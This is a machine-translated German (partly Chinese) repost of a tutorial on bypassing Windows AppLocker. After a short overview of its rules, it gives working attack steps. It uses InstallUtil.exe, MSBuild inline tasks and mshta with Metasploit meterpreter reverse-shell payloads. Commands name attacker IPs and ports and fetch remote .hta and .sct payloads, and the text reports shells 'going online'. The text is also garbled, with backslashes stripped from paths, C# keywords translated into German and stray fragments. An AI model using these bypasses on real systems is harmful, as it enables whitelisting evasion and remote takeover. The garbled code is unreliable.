Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So führen Sie eine AppLocker-Bypass-Analyse durch

So führen Sie eine AppLocker-Bypass-Analyse durch

WBOY
WBOYnach vorne
2023-05-15 10:55:19976Durchsuche

Vorwort

Was ist Applocker? AppLocker, die „Application Control Policy“, ist eine neu hinzugefügte Sicherheitsfunktion im Windows 7-System. Diese Funktion ist standardmäßig in Systemen über Win7 integriert. Wir können die Anwendungsidentität in Diensten aktivieren und dann die Applocker-Option in den Anwendungskontrollrichtlinien in der lokalen Sicherheitsrichtlinie finden. <br>

Applocker-Regeln

Die Standard-Applocker-Regeln unterstützen Folgendes: <br>

Regeln** |. Ausführbare Dateien |. .ps1, .bat, .cmd, .vbs, .js Windows Installer-Dateien |. .msi, .msp, .mst gepackte Anwendungen und .appx DLL-Dateien | .dll, .ocx

.appx Bei der Windows-Version wird nach dem Erstellen der Applocker-Regel die entsprechende .applocker-Datei in C:WindowsSystem32AppLocker erstellt.

AppLocker-Regelbedingungen

Regelbedingungen sind Kriterien, die AppLocker dabei helfen, Apps zu identifizieren, für die die Regel gelten soll. Die drei Hauptregelbedingungen sind Herausgeber, Pfad und Datei-Hash.

<br>

Herausgeber: Identifiziert die App anhand ihrer digitalen Signatur

  • <br>Pfad: Identifiziert die App anhand ihres Speicherorts im Dateisystem des Computers oder im Netzwerk

  • <br>Datei-Hash: Stellt das identifizierte Dateisystem dar- berechneter kryptografischer Hash

  • <br>

AppLocker-Standardregel

So führen Sie eine AppLocker-Bypass-Analyse durch

Nachdem Sie eine Applocker-Regel erstellt haben, werden Sie vom System standardmäßig gefragt, ob Sie eine Standardregel hinzufügen möchten, wie in der folgenden Abbildung dargestellt:

<br>

Die jeder Regel entsprechenden Standardregeln lauten wie folgt:

So führen Sie eine AppLocker-Bypass-Analyse durchZu den ausführbaren Standardregeltypen gehören:

Erlauben Sie Mitgliedern der lokalen Administratorengruppe, alle Anwendungen auszuführen.

  • <br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, Apps im Windows-Ordner auszuführen.

  • <br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, Apps im Ordner „Programme“ auszuführen.

  • <br>Zu den Standardregeltypen für Skripte gehören:

Erlauben Sie Mitgliedern der lokalen Administratorengruppe, alle Skripts auszuführen.

  • <br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, Skripts im Ordner „Programme“ auszuführen.

  • <br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, Skripts im Windows-Ordner auszuführen.

  • <br>Zu den Standardregeltypen von Windows Installer gehören:

Erlauben Sie Mitgliedern der lokalen Administratorengruppe, alle Windows Installer-Dateien auszuführen.

  • <br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, alle digital signierten Windows Installer-Dateien auszuführen.

  • <br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, alle Windows Installer-Dateien im WindowsInstaller-Ordner auszuführen.

  • <br>DLL Standardregeltyp:

Erlauben Sie Mitgliedern der lokalen Administratorengruppe, alle DLLs auszuführen.

  • <br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, DLLs im Ordner „Programme“ auszuführen.

  • <br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, DLLs im Windows-Ordner auszuführen.

  • <br>Standardregeltyp für verpackte Apps:

Erlauben Sie Mitgliedern der Gruppe „Jeder“, alle signierten verpackten Apps und verpackten App-Installer zu installieren und auszuführen.

  • <br>AppLocker-Regelverhalten

Regeln können als „Verwenden“ konfiguriert werden die Aktion „Zulassen“ oder „Verweigern“:

<br>

Zulassen. Sie können festlegen, welche Dateien in Ihrer Umgebung ausgeführt werden dürfen und für welche Benutzer oder Benutzergruppen. Sie können auch Ausnahmen konfigurieren, um Dateien zu identifizieren, die von den Regeln ausgeschlossen sind.

  • <br>Abgelehnt. Sie können Dateien angeben, die in Ihrer Umgebung nicht ausgeführt werden dürfen, sowie die Benutzer oder Gruppen angeben, für die sie bestimmt sind. Sie können auch Ausnahmen konfigurieren, um Dateien zu identifizieren, die von den Regeln ausgeschlossen sind.

  • <br>

Erstellen einer Applocker-Regel

So führen Sie eine AppLocker-Bypass-Analyse durch

Nachdem wir so viel gesagt haben, erstellen wir eine Regel am Beispiel des Verbots der Ausführung von Exe-Dateien auf dem Desktop. Die Erstellung läuft ungefähr wie folgt ab:

<br>

Führen Sie den Exe-Test aus:

So führen Sie eine AppLocker-Bypass-Analyse durch

Das System verhindert, dass wir ausgeführt werden

Applocker umgehen<br>

Installutil.exe<br>

InstallUtil ist Teil des .NET Framework und ein Befehlszeilenprogramm, mit dem Benutzer Anwendungen schnell über die Eingabeaufforderung installieren und deinstallieren können. Da es sich bei diesem Dienstprogramm um eine von Microsoft signierte Binärdatei handelt, können damit AppLocker-Einschränkungen umgangen und jede ausführbare .NET-Datei ausgeführt werden. Dieses Dienstprogramm befindet sich auch im Windows-Ordner, der keine AppLocker-Richtlinien anwendet, da der Inhalt des Windows-Ordners ausgeführt werden muss, damit das System ordnungsgemäß funktioniert.

Zuerst verwenden wir WhiteListEvasion (https://github.com/khr0x40sh/WhiteListEvasion), um eine Vorlage zu generieren

<br>
<br>

python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

So führen Sie eine AppLocker-Bypass-Analyse durch

Der obige Befehl generiert eine C#-Vorlage, die den Metasploit-ShellCode enthält.

Legen Sie die generierte Datei in das Ziel und führen Sie sie mit der folgenden Methode aus:

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe

Natürlich Sie kann auch Sie können zunächst msf verwenden, um eine csharp-Nutzlast zu generieren, dann den Shellcode in der Vorlage ersetzen und dann die cs-Datei auf den Zielcomputer übertragen.

Dann kompilieren Sie unser Skript mit csc:

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs

So führen Sie eine AppLocker-Bypass-Analyse durch

Zu diesem Zeitpunkt versuchen wir, unsere Datei auszuführen:

So führen Sie eine AppLocker-Bypass-Analyse durch

Von den Regeln abgefangen, dann verwenden wir

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

Bypass

So führen Sie eine AppLocker-Bypass-Analyse durch

msf ging online. erfolgreich

So führen Sie eine AppLocker-Bypass-Analyse durch

Es gibt auch ein Bypass-Modul für Applocker mithilfe von InstallUtil.exe in MSF.

<br>
<br>

exploit/windows/local/applocker_bypass

Das Prinzip ist das gleiche

So führen Sie eine AppLocker-Bypass-Analyse durch

Mit gemeinsamen Pfaden:

  • C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFramework64v2 .0.50727InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe<br>

Msbuild.exe<br>

MSBuild.exe ( Microsoft Build Engine) ist die von Visual Studio verwendete Software-Erstellungsplattform. Es benötigt XML-formatierte Projektdateien, die die Anforderungen für die Erstellung verschiedener Plattformen und Konfigurationen definieren. (Zitat: MSDN MSBuild)

Wir können MSBuild verwenden, um die Codeausführung über vertrauenswürdige Windows-Dienstprogramme zu übertragen. Die in .NET Version 4 eingeführte MSBuild-Funktion für Inline-Aufgaben ermöglicht das Einfügen von C#-Code in XML-Projektdateien. Inline-Aufgaben MSBuild kompiliert die Inline-Aufgabe und führt sie aus. MSBuild.exe ist eine signierte Microsoft-Binärdatei. Wenn sie auf diese Weise verwendet wird, kann sie beliebigen Code ausführen und den Anwendungs-Whitelisting-Schutz umgehen, der so konfiguriert ist, dass MSBuild.exe ausgeführt werden kann.

Wir sind direkt hier. Verwenden Sie GreatSCT, um eine XML-Datei zu generieren.

<br>
<br>

./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

So führen Sie eine AppLocker-Bypass-Analyse durch

und wird eine RC-Datei für uns generieren, wir können msfconsole -r verwenden Starten Sie msf direkt

und führen Sie es dann mit msbuild aus.

So führen Sie eine AppLocker-Bypass-Analyse durch

msf online:

So führen Sie eine AppLocker-Bypass-Analyse durch

Natürlich können Sie auch msf verwenden, um einen C#-Shellcode zu generieren und ihn dann mit der Vorlage von Sanhao Student Master zu laden :

https:// github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml

Beachten Sie, dass der Suffixname in .csproj geändert wurde

Zusätzlich zum Zurückprallen der Shell haben wir kann damit auch die Einschränkungen von Powershell umgehen.

So führen Sie eine AppLocker-Bypass-Analyse durch

Der Code lautet wie folgt:

<br>
<br>

                             ");                        string x = Console.ReadLine();                        versuchen                        {                            Console.WriteLine(RunPSCommand(x));                        }                        Catch (Ausnahme e)                        {                            Console.WriteLine(e.Message);                        }                    }                                return true;                }               //Basierend auf der Arbeit von Jared Atkinson und Justin Warner                öffentliche statische Zeichenfolge RunPSCommand(string cmd)                {                    //Sachen initiieren                    Runspace runspace = RunspaceFactory.CreateRunspace();                    runspace.Open();                    RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);                    Pipelinepipeline = runspace.CreatePipeline();                    //Befehle hinzufügen                    Pipeline.Commands.AddScript(cmd);                    //PS für die String-Ausgabe und den Aufruf vorbereiten                    Pipeline.Commands.Add("Out-String");                    Sammlung<psobject> Ergebnisse = Pipeline.Invoke();                    runspace.Close();                    //Datensätze in Strings konvertieren                    StringBuilder stringBuilder = new StringBuilder();                    foreach (PSObject obj in Ergebnissen)                    {                        stringBuilder.Append(obj);                    }                    return stringBuilder.ToString().Trim();                 }                 öffentliches statisches void RunPSFile(String-Skript)                {                    PowerShell ps = PowerShell.Create();                    ps.AddScript(script).Invoke();                }            }        ]]>  </psobject>  

常见路径如下:

So führen Sie eine AppLocker-Bypass-Analyse durchC:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe

C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe
  • <br>

    C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe
  • <br>

    C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe
  • <br>

    C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe
  • <br>

    C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe
  • <br>

    Mshta.exe
  • mshta.exe是微软Windows操作系统相关程序, 英文全称Microsoft HTML Application, 可翻译为微软超文本标记语言应用, 用于执行.HTA文件。默认已集成在环境变量中。<br>

    使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:
<br>
<br>
use Exploit/windows/misc/hta_server msf-Exploit(windows/misc/hta_server) > setze srvhost 192.168.1.109 msf-Exploit(windows/misc/hta_server) > Exploit:

<br>
<br>
<br>mshta.exe. http://192.168.0.106:8080/JR1gb3TO6.hta

即可上线.

除了这种方法hta还可以使用cobaltstrike 、 Setoolkit 、 Magic Einhorn, Empire, CactusTorch, Koadic, Great e

<br>
mshta.exe javascript:a=GetObject("script:https:/ /gist.github.com/someone/something.sct").Exec();close();
<br>
rrree

Das obige ist der detaillierte Inhalt vonSo führen Sie eine AppLocker-Bypass-Analyse durch. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen